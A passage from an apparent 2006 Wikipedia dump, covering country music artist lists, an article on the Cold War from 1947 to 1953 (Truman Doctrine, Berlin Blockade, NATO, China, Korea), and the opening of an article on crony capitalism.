* ''Country Music USA'',&lt;br /&gt;Bill C. Malone, University of Texas Press, 1985, ISBN 0-292-71096-8, 2nd Rev ed, 2002, ISBN 0-292-75262-8 

* ''Don't Get Above Your Raisin': Country Music and the Southern Working Class (Music in American Life)'',&lt;br /&gt;Bill C. Malone, University of Illinois Press, 2002, ISBN 0-252-02678-0


===Early innovators===
*[[Vernon Dalhart]] recorded hundreds of songs until 1931. 
*[[Jimmie Rodgers (country singer)|Jimmie Rodgers]], first country superstar, the &quot;Father of Country Music&quot;, 
*[[The Carter Family]], rural country-folk, known for hits like &quot;Wildwood Flower&quot; 
*[[Roy Acuff]] Grand Ole Opry star for 50 years, &quot;King of Country Music&quot;
*[[Ernest Tubb]] Beloved Texas troubadour who helped scores become stars
*[[Hank Snow]] Canadian-born Grand Ole Opry star famous for his traveling songs.
*[[Hank Williams Sr]], [[honky-tonk]] pioneer, singer, and songwriter, known for hits like &quot;I'm So Lonesome I Could Cry&quot; and &quot;Your Cheatin' Heart&quot;
*[[Bill Monroe]], father of [[bluegrass music]]
*[[Grand Ole Opry]], one of the oldest radio programs
*[[Louvin Brothers]], inspired the Everly Brothers
*[[Little Jimmy Dickens]] 4-foot 11 inch star of the Grand Ole Opry.
*[[Wilf Carter]], the &quot;yodeling&quot; cowboy, aka [[Montana Slim]].
*[[Webb Pierce]], classic honky-tonker who dominated '50s country music 
*[[Kitty Wells]], country's first female superstar, called the [[&quot;Queen of Country Music&quot;]]

===The Golden Age===
&lt;div style=&quot;float:left; width:50%;&quot;&gt;
*[[Bill Anderson]], singer who is still a major songwriter of new hits
*[[Liz Anderson]], as famous for her songwriting as her singing 
*[[Lynn Anderson]], a California blonde who became a top country star
*[[Eddy Arnold]], the all-time hit leader by [[Joel Whitburn]]'s point system
*[[The Browns]], brother-sister trio who hit No. 1
*[[Johnny Cash]], a major influence on country music who died in 2003
*[[Patsy Cline]], immensely popular balladeer who died in 1963
*[[Skeeter Davis]], major female vocalist for decades
*[[Jimmy Dean]], singer and TV personality, former owner of Jimmy Dean Sausage Company   
*[[Roy Drusky]], smooth-singing Opry star for 40 years
*[[Jimmy Martin]], The King of bluegrass
*[[Lefty Frizzell]], perhaps the greatest of the honky-tonkers
*[[Don Gibson]], wrote and recorded many standards
*[[Merle Haggard]], popularized the [[Bakersfield sound]]
*[[Tom T. Hall]], &quot;The Storyteller&quot;, wrote most of his many hits
*[[Johnny Horton]], made the story-song very popular about 1960
*[[Jan Howard]], pop-flavored female vocalist who sang pure country
*[[Stonewall Jackson (musician)|Stonewall Jackson]], honky-tonk icon 
*[[Sonny James]], had a record 16 consecutive No. 1 hits
*[[Wanda Jackson]], honky-tonk female vocalist equally at home in [[rock and roll]]
*[[Waylon Jennings]], one of the leaders of the &quot;outlaw&quot;  country sound
*[[George Jones]], widely considered &quot;the greatest living country singer&quot;, #1 in charted hits
*[[Kris Kristofferson]], [[songwriter]] and one of the leaders of the &quot;outlaw&quot; country sound
*[[Loretta Lynn]], arguably country music's biggest star in the 1960s and 1970s
*[[Roger Miller]], a Grammy record breaker 
*[[Ronnie Milsap]], country's first blind superstar
&lt;/div&gt;&lt;div style=&quot;float:right; width:50%;&quot;&gt;
*[[Willie Nelson]], [[songwriter]] and one of the leaders of the [[outlaw country]] sound
*[[Norma Jean (singer)|Norma Jean]], gifted &quot;hard country&quot; vocalist
*[[Buck Owens]], pioneer innovator of the [[Bakersfield sound]]
*[[Dolly Parton]], began her career singing duets with Porter Wagoner
*[[Ray Price (musician)|Ray Price]], went from hard country to Las Vegas slick
*[[Charley Pride]], the first (and only) black country music star
*[[Susan Raye]], Buck Owens' protégée who became a solo star
*[[Jim Reeves]], crossover artist, invented [[Nashville Sound]] with [[Chet Atkins]] 
*[[Charlie Rich]], '50s rock star who enjoyed greatest success in '70s country
*[[Marty Robbins]], another performer of story-songs who did well in the pop field
*[[Jeannie C. Riley]], sexy girl in a miniskirt who socked it to the pop charts
*[[Kenny Rogers]], unique-voiced storyteller who also recorded love ballads and more rock material. He defined what was known as [[country crossover]] and became one of the biggest artists in country and any music genre.
*[[Jeannie Seely]], known as &quot;Miss Country Soul&quot; 
*[[Connie Smith]], known for her &quot;big&quot; voice
*[[Billie Jo Spears]], a hard-country vocalist with international popularity
*[[Ray Stevens]], comedy crossover artist, Branson businessman 
*[[Conway Twitty]], [[honky-tonk]] traditionalist
*[[Don Walser]], yodeling Texas legend
*[[Porter Wagoner]], pioneer on country television 
*[[Dottie West]], country glamour girl who had her biggest success 20 years into her career
*[[Wilburn Brothers]], popular male duet for decades
*[[Ginny Wright]]
*[[Tammy Wynette]], three-time CMA top female vocalist 
*[[Faron Young]], a country chart topper for three decades
&lt;/div&gt;&lt;br clear=&quot;all&quot;&gt;

===[[Country rock]]===
*[[The Allman Brothers Band]], bluegrass-influenced [[jam band]]
*[[The Band]]
*[[Blackfoot (band)|Blackfoot]]
*[[The Byrds]], pioneers in the field
*[[Eagles]], a very popular country rock band
*[[The Everly Brothers]], predated others in this category but important figures in the transition from [[rockabilly]] to [[country rock]]
*[[Flying Burrito Brothers]]
*[[Kinky Friedman]]
*[[Gram Parsons]], critical favorite of the country rock movement
*[[Grateful Dead]], extremely long-lived bluegrass and [[psychedelic music|psychedelic]] band
*[[Poco]]
*[[Pure Prairie League]]
*[[John Rich]] 
*[[Kid Rock]], only part of his music is Country Rock; most notably, the music on the album [[Kid Rock]]
*[[Lynyrd Skynyrd]], for many, the archetypal country rock band

===Contemporary Country Stars 1980-2006===
&lt;div style=&quot;float:left;width:50%;&quot;&gt;
*[[Alabama (band)|Alabama]]
*[[Baillie &amp; the Boys]]
*[[Dierks Bentley]]
*[[Big and Rich]]
*[[Clint Black]]
*[[Suzy Bogguss]]
*[[Paul Brandt]]
*[[Brooks &amp; Dunn]]
*[[Garth Brooks]]
*[[Jann Browne]]
*[[Chris Cagle]]
*[[George Canyon]]
*[[Mary Chapin Carpenter]]
*[[Carlene Carter]]
*[[Johnny Cash]]
*[[Rosanne Cash]]
*[[Jeremy Castle]]
*[[Kasey Chambers]]
*[[Kenny Chesney]]
*[[Terri Clark]]
*[[Cowboy Troy]]
*[[Rodney Crowell]]
*[[Linda Davis]]
*[[The Dixie Chicks]]
*[[Holly Dunn]]
*[[Sara Evans]]
*[[Steve Fox (musician)|Steve Fox]]
*[[Janie Fricke]]
*[[Crystal Gayle]]
*[[Vince Gill]]
*[[Nanci Griffith]]
*[[Emmylou Harris]]
*[[Ty Herndon]]
*[[Highway 101 (band)|Highway 101]]
*[[Faith Hill]]
*[[Steve Holy]]
*[[Alan Jackson]]
*[[Wynonna Judd]]
*[[The Judds]]
*[[Toby Keith]]
*[[Sammy Kershaw]]
*[[Alison Krauss]]
*[[Danni Leigh]]
*[[Aaron Lines]]
*[[Lonestar]]
*[[Patty Loveless]]
*[[Lyle Lovett]]
&lt;/div&gt;&lt;div style=&quot;float:right;width:50%;&quot;&gt;
*[[Barbara Mandrell]]
*[[Kathy Mattea]]
*[[Martina McBride]]
*[[Lila McCann]]
*[[Jason McCoy]]
*[[Neal McCoy]]
*[[Mindy McCready]]
*[[Reba McEntire]]
*[[Tim McGraw]]
*[[Jo Dee Messina]]
*[[Montgomery Gentry]]
*[[Craig Morgan]]
*[[Lorrie Morgan]]
*[[Anne Murray]]
*[[Heather Myles]]
*[[NEON BLUE]]
*[[K.T. Oslin]]
*[[Brad Paisley]]
*[[Dolly Parton]]
*[[Rascal Flatts]]
*[[Collin Raye]]
*[[Johnny Reid]]
*[[LeAnn Rimes]]
*[[Songs from the Crystal Cave|Steven Seagal]]
*[[Ricky Skaggs]]
*[[George Strait]]
*[[Bob Style]]
*[[Sugarland (band)|Sugarland]]
*[[Sweethearts of the Rodeo]]
*[[Pam Tillis]]
*[[Randy Travis]]
*[[Tanya Tucker]]
*[[Shania Twain]]
*[[Carrie Underwood]]
*[[Keith Urban]]
*[[Rhonda Vincent]]
*[[Clay Walker]]
*[[Steve Wariner]]
*[[Brittany Wells]]
*[[Lucinda Williams]]
*[[Kelly Willis]]
*[[Gretchen Wilson]]
*[[Lee Ann Womack]]
*[[Chely Wright]]
*[[Michelle Wright]]
*[[Trisha Yearwood]]
*[[Dwight Yoakam]]
&lt;/div&gt;&lt;br clear=&quot;all&quot;&gt;

===[[Television]] and [[radio]] shows of note===
*The [[Johnny Cash]] Show (1969-1971) on [[American Broadcasting Company|ABC Networks]]
*[[Austin City Limits (television)|''Austin City Limits'']], [[PBS]] goes country
*''[[The Beverly Hillbillies]]'', legendary situation comedy series that featured a country theme song and frequent appearances, by [[Lester Flatt]] and [[Earl Scruggs]]
*''[[The Glen Campbell Goodtime Hour]]'', 1969 - 1972
*''[[Grand Ole Opry]]'', broadcasting on [[WSM (AM)|WSM]] from Nashville since 1925
*''[[Hee Haw]]'', featuring [[Buck Owens]] and [[Roy Clark]] and a pack of droll, cornball comedians, notably [[Junior Samples]]. Other artist of note, [[Archie Campbell]], writer and on-air talent.
*''[[Lost Highway]]'', a significant [[BBC]] documentary on the History of Country Music
*''[[Louisiana Hayride]]'', featured Hank Williams in his early years
*''The [[Porter Wagoner]] Show'', aired from [[1960]] to [[1979]] and featured a young [[Dolly Parton]]
*''[[That Good Ole Nashville Music]]'', 1970 - 1985
*''[[Tim Rose]]''

==See also==
*[[List of country music performers]]
*[[Academy of Country Music]]
*[[Country Music Association]]
*[[Alternative country]] for a list of performers in that sub-genre
*[[WSM Radio]]
*[[Country Music Hall of Fame]]
*[[Grand Ole Opry]]
*[[Country Music Television]]
*[[Great American Country]]
*[[List of country genres]]
*[[Country and Western dance]]

==External links==
*[http://www.roughstock.com/ Roughstock] Country Music News, Chart, e-Magazine
*[http://www.roughstock.com/history/ History of Country Music] Country music history overview, with sound clips
*[http://www.countrymusichalloffame.com/ Country Music Hall of Fame and Museum]
*[http://www.cmaworld.com The Country Music Association (America)]
*[http://www.countryweekly.com/ Country Weekly magazine]
*[http://www.opry.com/ Grand Ole Opry website]
*[http://countrystartpage.jouwpagina.nl The Country Startpage] Over 1500 links to country sites !

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    </revision>
  </page>
  <page>
    <title>Cold War (1947-1953)</title>
    <id>5248</id>
    <revision>
      <id>41614180</id>
      <timestamp>2006-02-28T14:56:20Z</timestamp>
      <contributor>
        <ip>132.72.149.84</ip>
      </contributor>
      <comment>/* The breakdown of postwar peace */</comment>
      <text xml:space="preserve">[[Image:Truman initiating Korean involvement.jpg|thumb|right|200px|President Truman signing a proclamation declaring a national emergency that initiates U.S. involvement in the Korean War.]]
The '''Cold War (1947-1953)''' discusses the period within the [[Cold War]] from the establishment of the [[Truman Doctrine]] in [[1947]] to the [[Korean War]] in [[1953]].

== The breakdown of postwar peace ==
When the war ended in Europe on [[May 8]], [[1945]], Soviet and Western (U.S., British, and French) troops were located in particular places, essentially, along a line in the center of Europe. Aside from a few minor adjustments, this would be the &quot;[[Iron Curtain]]&quot; of the Cold War. In hindsight, [[Yalta Conference|Yalta]] signified the agreement of both sides that they could stay there and that neither side would use force to push the other out. This tacit accord applied to Asia as well, as evidenced by U.S. occupation of [[Japan]] and the division of [[Korea]]. Politically, therefore, Yalta was an agreement on the postwar status quo in which Soviet Union hegemony reigned over about one third and the United States over two thirds.

There were fundamental contrasts between the visions of the [[United States]] and the [[Soviet Union]], between [[capitalism]] and [[communism]]. Those contrasts had been simplified and refined in national ideologies to represent two ways of life, each vindicated in 1945 by previous disasters. Conflicting models of autarky versus exports, of state planning against private enterprise, were to vie for the allegiance of the developing and developed world in the postwar years.

Despite the wherewithal of the United States to advance a different vision of postwar Europe, [[Stalin]] viewed the reemergence of [[Germany]] and [[Japan]] as Russia's chief threats, not the United States. He assumed that the capitalist camp would soon resume its internal rivalry over colonies and trade and not pose a threat to the USSR. Economic advisers such as [[Eugen Varga]] reinforced this view, predicting a postwar crisis of overproduction in capitalist countries, which would culminate by 1947-1948 in another great depression. He believed that America's prosperity in 1945 was not so much a triumph of free enterprise as the result of the government bankrolling business.

What would be the result of massive postwar demilitarization? Stalin predicted overproduction and depression.  Stalin thus assumed that the Americans would ''need'' to offer him economic aid, needing to find any outlet for massive capital investments just to maintain the wartime industrial production that brought the U.S. out of the [[Great Depression]]. Thus, the prospects of an Anglo-American front against him seemed slim from Stalin's standpoint. However, there would be no postwar crisis of overproduction. And, as Stalin anticipated, this was averted by maintaining roughly the same levels of government spending. It was just maintained in a vastly different way.

But the whole role of government was not set in stone and was in question once again. Although America's military-industrial complex was born in [[World War II]], it could have been scaled back. Pressures to &quot;get back to normal&quot; were intense. Congress wanted a return to low, balanced budgets, and families clamored to see the soldiers sent back home. The [[Harry S. Truman|Truman]] administration worried first about a postwar slump, then about the inflationary consequences of pent-up consumer demand. The [[GI Bill of Rights]], adopted in 1944, was one answer: subsidizing veterans to complete their education rather than flood the job market and probably boost the unemployment figures. Moreover, on [[July 20]], [[1948]] President [[Harry S. Truman]] issued the first peacetime [[military draft]] in the [[United States]] amid increasing tensions with the [[Soviet Union]].

Thus, a conversion to the prewar economy would be extremely difficult, and in the end, it did not happen. In the end, the postwar government would look a lot like the wartime government, with the military establishment, along with military-security dominant. The postwar capitalist slump predicted by Stalin would not be averted by domestic management, supplemented perhaps by a greater role in promoting international trade and monetary relations. 

=== Two visions of the world ===
The United States hoped to shape the postwar world by opening up the world's markets to capitalist trade - a rebuilt capitalist Europe that could again serve as a hub in world affairs. The [[Atlantic Charter]] was publicized regarding this with principles such as [[self-determination]] - the right of [[nation]]s to choose their own government - but was in practice abrogated by both the West as by the East.  Roosevelt had never forgotten the excitement with which he had greeted the principles of [[Woodrow Wilson|Wilsonian]] [[idealism]] during [[World War I]], and he saw his mission in the 1940s as bringing lasting peace and genuine democracy to the world.

This vision was equally a vision of national self-interest. [[World War II]] resulted in enormous destruction of infrastructure and populations throughout Eurasia, from the Atlantic to the Pacific oceans, with almost no country left unscathed. The only major industrial power in the world to emerge intact&amp;mdash;and even greatly strengthened from an economic perspective&amp;mdash;was the As the world's greatest industrial power, and as the only world power unravaged by the war, the United States stood to gain more than any other country from opening the entire world to unfettered trade. To achieve that it had to rapidly rebuild the economies of Europe and Asia. The United States would have a global market for its exports, and it would have unrestricted access to vital raw materials. 

Truman could advance these principles with an economic powerhouse that produced 50% of the world's industrial goods.  These aims were at the center of what the Soviet Union strove to avoid as the breakdown of the wartime alliance went forward. It also required new international agencies: the [[World Bank]] and [[International Monetary Fund]], which were created to ensure an open, capitalist, international economy. The Soviet Union, rededicated itself to the overthrow of capitalism and did everything to sabotage the capitalist plans..

=== The fate of postwar Europe ===
The withdrawal of the United States to advance a different vision of the postwar world conflicted with Soviet interests, which motivated their determination to shape postwar Europe. The Soviet Union had, since 1924, placed higher priority on its own security and internal development than on [[Trotsky]]'s vision of world revolution. Accordingly, Stalin had been willing before the war to engage non-communist governments that recognized Soviet control of the former Tsarist Empire and offered [[non-aggression treaty| assurances of non-aggression]]. Germany's betrayal of its non-aggression promise convinced Stalin that he could no longer rely on non-communist governments.

After the war, Stalin sought to secure the Soviet Union's western border by installing Communist-dominated regimes under Soviet influence in bordering countries of [[Poland]], [[Romania]], [[Hungary]], and [[Bulgaria]]. Some historians see this as an aggressive effort to spread Communism to a dozen new countries.  Others see it as a realization of age-old Russian dreams of controlling all Slavic lands.  Some have suggested this decision was a response to a 150-year history of repeated assaults on Russia, including [[World War I]], [[World War II]] and [[Napoleon]]'s [[Napoleon's invasion of Russia|1812 invasion]].  No one has come up with a satisfactory explanation of why Stalin was willing to turn the United States into a determined foe.  Stalin considered it essential to destroy Germany's capacity for another war, which conflicted with the U.S. desire to rebuild Germany as the economic center of a stable Europe. Thus, much of the heavy industry was uprooted to the USSR. The West viewed these developments as violations of those nations' basic rights and a clear disregard of the Yalta agreement. [[Winston Churchill]] accused Stalin of cordoning off a new Russian empire with an &quot;[[Iron Curtain]].&quot; The dispute over Germany escalated after Truman refused to give the Soviet Union [[reparation]]s from West Germany's industrial plants because he believed it would hamper Germany's economic recovery further. Stalin responded by splitting off the [[East Germany|Soviet sector of Germany]] as a communist state.

There were signs of caution on Stalin's part. The Soviet Union eventually withdrew from Northern [[Iran]], at Anglo-American behest; Stalin did observe his 1944 agreement with Churchill and did not aid the communists in the struggle against a weak government in Greece that was supported by the UK; in Finland he demanded a neutralized but non-communist government; and Russian troops were withdrawn from [[Czechoslovakia]] by the end of 1945. However, a communist coup in 1948 made Czechoslovakia an effective Soviet satellite.

== Containment ==
=== The Truman Doctrine ===
''Main article: [[Truman Doctrine]]''

The immediate post-1945 period may have been the historical high point for the popularity of communist ideology. The burdens the Red Army and USSR endured had earned it massive respect which, had it been fully exploited by Stalin, had a good chance of resulting in a communist Europe. Communist parties won sizeable shares of the vote in countries such as [[Belgium]], [[France]], [[Italy]], [[Czechoslovakia]], and [[Finland]] and won significant popular support in Asia - in [[Vietnam]], [[India]], and [[Japan]] - and throughout Latin America. In addition, they achieved a significant popularity in such nations as [[China]], [[Greece]], and [[Iran]]. In northern Iran the USSR created the [[Republic of Mahabad]], the second Kurdish independent state. After the red army left Iran, the Republic was conquered by Iranian forces. 

The United Kingdom and the United States were concerned that a political victory by communists in any of these countries could lead to a Soviet takeover similar to those in Eastern Europe. While the Soviet Union acquiesced to Anglo-American efforts to impede Soviet access to the Mediterranean (a perennial focus of British foreign policy since the [[Crimean War]] in the 1850s), the Americans increased their anti-communist campaign.

Both East and West regarded [[Greece]] as a nation well within the sphere of influence of the United Kingdom. Stalin had respected his agreement with Churchill to not intervene, but [[Yugoslavia]], under [[Joseph Tito|Tito]], continuously sent arms and supplies during the [[Greek Civil War]] to the partisan forces of the [[Communist Party of Greece]], the ELAS (National Popular Liberation Army). Startlingly, the UK had given aid to the royalist Greek forces, and ELAS leaders, failing to realize that there would be no Soviet aid and foolishly  having boycotted the elections, were at a disadvantaged position. However by 1947, the near-bankrupt British government could no longer maintain its massive overseas commitments and was forced to receive aid from such nations as [[New Zealand]]. In addition to granting [[India]] [[Partition of India|independence]] and handing back the [[Palestinian Mandate]] to the [[United Nations]], the British government decided to withdraw from both Greece and nearby Turkey. This would have left the two nations, in particular Greece, vulnerable to a communist takeover.

Notified that British aid to Greece and Turkey would end in less than six weeks, the U.S. government, already hostile towards and suspicious of Soviet intentions, decided that action was necessary. With [[United States Congress|Congress]] solidly in [[United States Republican Party|Republican]] hands and populated by the traditional [[isolationism|isolationists]], Truman adopted an ideological approach. In a meeting with congressional leaders, the argument of &quot;apples in a barrel infected by one rotten one&quot; was used to convince them of the significance in supporting Greece and Turkey. It was to become the [[Domino Theory]], the justification for [[containment]]. On the morning of [[March 12]], [[1947]], Truman appeared before Congress to ask for $400 million of aid to Greece and Turkey. Calling on congressional approval for the United States to &quot;support free peoples who are resisting attempted subjugation by armed minorities or by outside pressures,&quot; or in short a policy of containment, Truman articulated a presentation of the ideological struggle that became known as the [[Truman Doctrine]]. Although based on a simplistic analysis of internal strife in Greece and Turkey, it was to be the single dominating influence over U.S. thinking until at least the [[Vietnam War]].

Truman's speech had a tremendous effect. The anti-communist feelings that had just begun to hatch in the U.S. were given a great boost, and a silenced Congress voted overwhelmingly in approval of aid. The United States would not withdraw back to the Western Hemisphere as it had after the First World War. From then on, the U.S. would actively engage any communist threats anywhere in the globe under the ostensible cause of &quot;freedom&quot;, &quot;democracy&quot; and &quot;human rights.&quot; The U.S. brandished its role as the leader of the &quot;free world.&quot; Meanwhile, the Soviet Union brandished its position as the leader of the &quot;progressive&quot; and &quot;anti-imperialist&quot; camp.

In 1947, the [[Marshall Plan]] began and was designed to give billions of dollars to assist the recovery of Europe. The Soviets, however, refused to accept any aid in their satellite states. Consequently, the West gained an economic boom while the Eastern living standards remained low.

=== The Berlin Blockade ===
''Main article: [[Berlin Blockade]]''

Stalin responded by blocking access to [[Berlin]], which was deep within the Soviet zone although subject to four power control. The Soviets cut off all rail and road routes to West Berlin. No trucks or trains were allowed entry into the city during the Berlin Blockade. Truman embarked on a highly visible move that would humiliate the Soviets internationally: flying supplies in over the blockade during 1948-1949. Military confrontation loomed while Truman flew supplies through East Germany into West Berlin during the 1948-1949 blockade. This costly aerial supplying of West Berlin became known as the [[Berlin Airlift]].

=== NATO ===
''Main article: [[North Atlantic Treaty Organisation]]''

Truman joined eleven other nations in 1949 to form the [[North Atlantic Treaty Organisation]] (NATO), America's first &quot;entangling&quot; European alliance in 170 years. Stalin retaliated against these steps by integrating the economies of Eastern Europe in his version of the [[Marshall Plan]], exploding the first Soviet atomic device in 1949, signing an alliance with [[People's Republic of China]] in February 1950, and forming the [[Warsaw Pact]], Eastern Europe's counterpart to [[NATO]].

=== NSC-68 ===
''Main article: [[NSC-68]]''

U.S. officials quickly moved to escalate and expand &quot;containment.&quot; In a secret 1950 document, NSC-68, they proposed to strengthen their alliance systems, quadruple defense spending, and embark on an elaborate propaganda campaign to convince the U.S. public to fight this costly cold war. Truman ordered the development of a [[hydrogen bomb]]; and in early 1950 came the first U.S. effort to opposing communist forces in Vietnam, plans to form a West German army, and proposals for a peace treaty with Japan that would guarantee long-term U.S. military bases.

== Communist China ==
Shortly after [[World War II]], an all out war resumed in China between the [[Communist Party of China]] led by [[Mao Zedong]] and the [[Kuomintang|Nationalist Party of China]] (Kuomintang) led by [[Chiang Kai-shek]]. While the [[Soviet Union]] provided limited aid to the Communists, the United States assisted the Nationalists with hundreds of millions of dollars worth of  military supplies and generous loans of hundreds of millions of dollars worth of military equipment. However, the demoralized and undisciplined Nationalist troops proved no match for the communist [[People's Liberation Army]], which had gained the support of the peasantry. Although the Nationalists had an advantage in numbers of men and weapons, initially controlled a much larger territory and population than their adversaries, and enjoyed considerable international support, they were exhausted by the [[Second Sino-Japanese War|long war with Japan]] and the attendant internal responsibilities. In addition, the Chinese Communists were able to fill the political vacuum left in Manchuria after Soviet forces withdrew from the area and thus gained China's prime industrial base. The Chinese Communists were able to fight their way from the North and Northeast and virtually all of [[mainland China]] was taken by the end of 1949. On [[October 1]], [[1949]], Mao Zedong proclaimed the [[People's Republic of China]]. Chiang Kai-shek and 600,000 Nationalist troops and 2 million refugees, predominantly from the government and business community, fled from the mainland to the island of Taiwan. In December 1949 Chiang proclaimed [[Taipei]] the temporary capital of the Republic of China and continued to assert his government as the sole legitimate authority in China.

The continued hostility between the Communists on the mainland and the Nationalists on Taiwan would continue throughout the Cold War. Though the United States refused to aide Chiang Kai-shek in his hope to &quot;recover the mainland,&quot; it continued supporting the Republic of China with military supplies and expertise to prevent Taiwan from falling into Communist hands. Through the support of the Western bloc (most Western countries continued to recognize the ROC as the sole legitimate government of China), the Republic of China on Taiwan retained [[China and the United Nations|China's seat in the United Nations]] until 1971.

== The Korean War ==
{{main|Korean War}}

In early 1950 came the first U.S. commitment to form a peace treaty with Japan that would guarantee long-term U.S. military bases. Some observers (including [[George F. Kennan|George Kennan]]) believed that the Japanese treaty led [[Stalin]] to approve a plan to invade U.S.-supported [[South Korea]] on [[June 25]], [[1950]]. [[Korea]] had been divided at the end of World War II along the 38th parallel into Soviet (Northern) and American (Southern) occupation zones, in which a communist government was installed in the North by the Soviets and a capitalist government in the South came to power after UN-supervised elections in 1948. Fearing that a united communist Korea could neutralize U.S. power in Japan and encourage communist movements world-wide, Truman committed U.S. forces and obtained help from the [[United Nations]] to drive back the North Koreans, to Stalin's surprise. In a historic diplomatic blunder, the Soviets boycotted the [[UN Security Council]], and thus its power to veto Truman's action in the UN, because the UN would not admit the [[People's Republic of China]] and continued to recognize the [[Republic of China]] on Taiwan as the sole legitimate Chinese government.

However, Truman would offset this with his own monumental, historic error: allowing his forces to go to the Chinese-Korean border. Communist China responded with massive attack in November 1950 that decimated U.S.-led forces as well as their own. Fighting stabilized along the 38th parallel, which had separated the Koreas, but [[Harry S. Truman|Truman]] now faced a hostile China, a Sino-Soviet partnership, and a bloated defense budget that quadrupled in eighteen months.

==Culture and Media==

[[Image:DuckandCover.jpg|thumb|250px|right|The title screen from ''Duck and Cover''.]]

Fear of a nuclear war saw the production of public safety films by the [[Federal Government of the United States|United States federal government]]'s [[Civil Defense]] branch that demonstrated ways on protecting oneself from a Soviet nuclear attack.  The [[1951]] children's film, ''[[Duck and Cover (film)|Duck and Cover]]'' is a prime example.

==External links==
*[http://www.trumanlibrary.org/whistlestop/study_collections/marshall/large/documents/index.php?documentdate=0000-00-00&amp;documentid=18&amp;pagenumber=1&amp;studycollectionid=mp Draft, Report on Communist Expansion, February 28, 1947]
==References==
===Overviews===
* [http://www.questia.com/PM.qst?a=o&amp;d=102121190 Ball, S. J. ''The Cold War: An International History, 1947-1991'' (1998) ] British perspective

* Brzezinski, Zbigniew. ''The Grand Failure: The Birth and Death of Communism in the Twentieth Century'' (1989); 
* Gaddis, John Lewis. ''The Cold War: A  New History'' (2005), most important recent overview
* [http://www.questia.com/PM.qst?a=o&amp;d=100560159 Gaddis, John Lewis. ''Long Peace: Inquiries into the History of the Cold War'' (1987)]
* [http://www.questia.com/PM.qst?a=o&amp;d=98423566 Gaddis, John Lewis. ''Strategies of Containment: A Critical Appraisal of Postwar American National Security Policy'' (1982)]	
* LaFeber, Walter. ''America, Russia, and the Cold War, 1945-1992'' 7th ed. (1993)
* Mitchell, George. ''The Iron Curtain: The Cold War in Europe'' (2004)
* Ninkovich, Frank. ''Germany and the United States: The Transformation of the German Question since 1945'' (1988)
* Paterson, Thomas G. ''Meeting the Communist Threat: Truman to Reagan'' (1988)
*  Sivachev, Nikolai  and Nikolai Yakolev, ''Russia and the United States'' (1979), by Soviet historians
* Ulam, Adam B. ''Expansion and Coexistence: Soviet Foreign Policy, 1917-1973'', 2nd ed. (1974)
* Walker,  J. Samuel. &quot;Historians and Cold War Origins: The New Consensus&quot;, in Gerald K. Haines and J. Samuel Walker, eds., ''American Foreign Relations: A Historiographical Review'' (1981), 207-236.

* Cumings, Bruce ''The Origins of the Korean War'' (2 vols., 1981-90), friendly to North Korea and hostile to U.S.
* Gaddis, John Lewis. ''The United States and the Origins of the Cold War, 1941-1947'' (1972)
* Holloway,  David . ''Stalin and the Bomb: The Soviet Union and Atomic Energy, 1959-1956'' (1994)
* Goncharov, Sergei, John Lewis and Xue Litai , ''Uncertain Partners: Stalin, Mao and the Korean War'' (1993)
* Leffler, Melvyn. ''A Preponderance of Power: National Security, the Truman Administration and the Cold War'' (1992). 
* Mastny, Vojtech. ''Russia's Road to the Cold War: Diplomacy, Warfare, and the Politics of Communism, 1941-1945'' (1979)

==Significant Documents==
*[[Potsdam Declaration]]:  [[July 26]], [[1945]]. A formal statement issued by [[Harry S. Truman]] ([[United States|U.S.]]), [[Winston Churchill]] ([[United Kingdom]]), and [[Chiang Kai-Shek]] ([[China]]) which outlined the terms for a [[Japanese Instrument of Surrender|Japanese surrender]].
*[[Baruch Plan]]: [[1946]]. A proposal by the U.S. to the [[United Nations Atomic Energy Commission]] (UNAEC) to a) extend between all nations the exchange of basic scientific information for peaceful ends; b) implement control of atomic  energy to the extent necessary to ensure its use only for peaceful purposes; c) eliminate from national armaments atomic weapons and all other major weapons adaptable to mass destruction; and d) establish effective safeguards by way of inspection and other means to protect complying States against the hazards of violations and evasions. When the Soviet Union was the only member State who refused to sign, the U.S. embarked on a massive nuclear weapons testing, development, and deployment program.
*[[George F. Kennan]]: [[1946]]/[[1947]]. The Long Telegram and The '''[[X Article]]''', formally titled &quot;'''The Sources of Soviet Conduct'''. The article describes the concepts that would become the bedrock of American Cold War policy and was published in ''[[Foreign Affairs]]'' in 1947. The article was an expansion of a well-circulated top secret [[State Department]] cable called the [[X Article]] and became famous for setting forth the doctrine of [[containment]]. Though the article was signed [[pseudonym]]ously by &quot;X,&quot; it was well known at the time that the true author was Kennan, the [[Subordinate#Social hierarchies|deputy]] chief of mission of the [[United States]] to the Soviet Union from 1944 to 1946, under [[ambassador]] [[W. Averell Harriman]].
*[[Paul Nitze]] [[April 14]], [[1950]]: [[NSC-68]] was a [[classified information|classified]] report written by  and issued by the [[United States National Security Council]]. The report outlined the [[National Security Strategy of the United States]] for that time and provided a comprehensive analysis of the capabilities of the [[Soviet Union]] and of the [[United States of America]] from military, economic, political, and psychological standpoints. NSC-68's principal thesis was that the Soviet Union intended to become the single dominant world power. The report argued that the [[Soviet Union]] had a systematic strategy aimed at the spread of Communism across the entire world, and it recommended that the United States government adopt a policy of [[containment]] to stop the further spread of [[Communism]]. NSC-68 outlined a drastic [[foreign policy]] shift from defensive to active containment and advocated aggressive military preparedness. NSC-68 would shape government actions in the [[Cold War]] for the next 20 years and has subsequently been labeled the &quot;blueprint&quot; for the Cold War.

{{start box}}
{{ColdWar |
  before= [[Origins of the Cold War|1917-1946&lt;br&gt;Origins of the Cold War]] |
  title= [[Cold War|History of the Cold War]]&lt;p&gt;[[Image:Flag of the United States.svg|80px]][[Image:Flag of the Soviet Union.svg|83px]] |
  after= [[Cold War (1953-1962)|1953-1962&lt;br&gt;Escalation and Crisis]] |
}}
{{end box}}

[[Category:Cold War]]</text>
    </revision>
  </page>
  <page>
    <title>Crony capitalism</title>
    <id>5249</id>
    <revision>
      <id>41528910</id>
      <timestamp>2006-02-27T23:35:15Z</timestamp>
      <contributor>
        <ip>142.132.72.223</ip>
      </contributor>
      <text xml:space="preserve">&quot;'''Crony capitalism'''&quot; or &quot;'''crapitalism'''&quot; is a [[pejorative]] term describing a [[capitalist]] economy in which success in [[business]] depends on an extremely close relationship between the businessman and the state institutions of [[politics]] and [[government]], rather than by the espoused &quot;equitable&quot; concepts of the [[free market]], open [[competition]], and [[economic liberalism]]. It may be exhibited by favoritism in the distribution of legal permits, government grants, special [[tax break]]s, and so forth.

